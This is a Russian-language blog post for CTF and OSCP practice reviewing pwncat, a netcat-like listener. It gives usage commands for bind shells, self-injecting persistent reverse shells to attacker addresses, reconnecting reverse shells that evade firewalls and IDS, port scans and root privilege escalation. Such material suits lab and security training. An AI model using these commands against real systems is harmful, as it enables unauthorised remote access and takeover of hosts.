В данной статье мы хотели показать Вам очень удобный, на мой личный взгляд, незаменимый и удобный инструмент под названием pwncat.
По нашим предыдущим статьям по получению бек-коннекта до уязвимого хоста Вы уже знаете, что такое реверс-шел (Reverse shell), как его можно использовать мы так же описывали в ряде статей в части CTF-тасков.
Но когда ты каждый день используешь связку проброса бек-коннекта любым из описанных в статье выше по ссылке, нам еще нужно получить удобную интерактивную оболочку TTY а если возникает вопрос передачи файлов на эксплуатируемую систему, к примеру сплоита ядра, а на системе нет компилятора gcc/cc и тем более wget или curl запрещены, возникает головная боль и построение «костылей» через логи веб-сервиса если он есть или иным другим способом для того, чтобы собрать на стороне хоста эксплоит, не говоря уже о необходимости поиска вариантов эскалаций привилегий средствами LPE.sh или LinPEAS.sh.
Не так давно, в процессе решения очередных CTF-тасков я открыл для себя удивительный инструмент под названием pwncat.
Чем же он примечателен спросите Вы? Приготовьтесь и держите штаны, вот Вам скриншот решения одной из BIG5 машин в PWK лаборатории на сертификацию OSCP, в одном скрине, эксплуатация уязвимости, сессия, поиск привеска, привеск, рут:
Официальное описание приложения от разработчиков:
Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic.
Обход фаерволов, IDS/IPS систем, поддерживает бинд и реверс шелы, автоинъекция (так называемый не убиваемый шелл), порт форвардинг. В добавок ко всему этому от себя хочу заметить, что реализована одна на мой взгляд крутая вещь, как возможность использования сочетания клавиш Ctrl+C
, использование которых в простом реверсе приводит к обрыву сессии. Так же при использовании pwncat работает клавиша Esc в текстовых редакторах vi/vim. Вспомните себя, года получив шелл, Вы нашли суидник (SUID) или конфиг с мисконфигом с правом записи под обычным пользователем или даже под wwwdata и Вам нужно просто внести простое изменение, что зачастую не дает спокойно править конфиги или например работать с ключами и вариант с echo "data" > file
не поможет, т.к. править нужно конкретный участок кода или наоборот удалить часть. Даже был недавно случай, когда при отсутствии редактора nano на Linux хосте пришлось править конфиг vim пользователя чтобы сменить сочетание клавиш выхода для того, чтобы просто отредактировать кусок кода. Так тут это работает, но это не самое интересное… На гитхабе есть сравнительная таблица 4-х слушателей:
Feature | pwncat | netcat | ncat | socat |
---|---|---|---|---|
Scripting engine | ✔ Python | ❌ | ✔ Lua | ❌ |
IP ToS | ✔ | ✔ | ❌ | ✔ |
IPv4 | ✔ | ✔ | ✔ | ✔ |
IPv6 | ✔ | ✔ | ✔ | ✔ |
Unix domain sockets | ❌ | ✔ | ✔ | ✔ |
Linux vsock | ❌ | ❌ | ✔ | ❌ |
Socket source bind | ✔ | ✔ | ✔ | ✔ |
TCP | ✔ | ✔ | ✔ | ✔ |
UDP | ✔ | ✔ | ✔ | ✔ |
SCTP | ❌ | ❌ | ✔ | ✔ |
SSL | ❌ | ❌ | ✔ | ✔ |
HTTP | ✔ | ❌ | ❌ | ❌ |
HTTPS | * | ❌ | ❌ | ❌ |
Telnet negotiation | ❌ | ✔ | ✔ | ❌ |
Proxy support | ❌ | ✔ | ✔ | ✔ |
Local port forward | ✔ | ❌ | ❌ | ✔ |
Remote port forward | ✔ | ❌ | ❌ | ❌ |
Inbound port scan | ✔ | ✔ | ✔ | ❌ |
Outbound port scan | ✔ | ❌ | ❌ | ❌ |
Version detection | ✔ | ❌ | ❌ | ❌ |
Chat | ✔ | ✔ | ✔ | ✔ |
Command execution | ✔ | ✔ | ✔ | ✔ |
Hex dump | * | ✔ | ✔ | ✔ |
Broker | ❌ | ❌ | ✔ | ❌ |
Simultaneous conns | ❌ | ❌ | ✔ | ✔ |
Allow/deny | ❌ | ❌ | ✔ | ✔ |
Re-accept | ✔ | ✔ | ✔ | ✔ |
Self-injecting | ✔ | ❌ | ❌ | ❌ |
UDP reverse shell | ✔ | ❌ | ❌ | ❌ |
Respawning client | ✔ | ❌ | ❌ | ❌ |
Port hopping | ✔ | ❌ | ❌ | ❌ |
Emergency shutdown | ✔ | ❌ | ❌ | ❌ |
*
Feature is currently under development. что означает, что продукт в стадии разработки или реализации
Inject to target
// [1] If you found a vulnerability on the target to start a very simple reverse shell, // such as via bash, php, perl, python, nc or similar, you can instruct your local // pwncat listener to use this connection to deploy itself on the target automatically // and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
[1] Read in more detail about self-injection
Summon shells
// Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
// Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
// Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
Но и это еще не все. У него есть встроенный порт сканер. Очень часто возникает вопрос в сканировании портов, на хосте нет Nmap и к тому же он требует привилегий рута для запуска всех нужных нам фишек.
Port scan
// [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023
// [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u
// Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u
// Add version detection
pwncat -z 10.0.0.1 1-65535 --banner
Самая бомбическая фишка этой тулзы — это upload и download файлов с локального хоста на удаленный без использования curl/wget/scp и тп.
Устанавливается довольно просто, но есть зависимости:
https://github.com/calebstewart/pwncat
pip install git+https://github.com/calebstewart/pwncat.git
или
python setup.py install
python3 -m venv pwncat-env
source pwncat-env/bin/activate
python setup.py install sudo pip3 install -U git+https://github.com/calebstewart/paramiko //Основные функции, которые понадобятся на первое время pwncat -l -p 4444
pwncat -l -p 4444 --self-inject /bin/bash:192.168.119.203:4445
ctrl+D
privesc -l
privesc -e -u root
Вот пример использования утилиты:
Вот рассуждение плюсов бандла (Eng)
Ну и где можно бесплатно и без вреда использовать данную утилиту и автоматически решить CTF-машину — так это сервис TryHackMe который рекомендую новичкам и всем, кому нужна практика, машины которые Вы можете рутануть при помощи встроенного модуля privesc:
В целом очень крутая и удобная вещь, я раз и на всегда забыл про rlwrap или простой nc- lnvp. Пробуйте, не используйте во вред или для незаконных действий и да прибудет с Вами сила…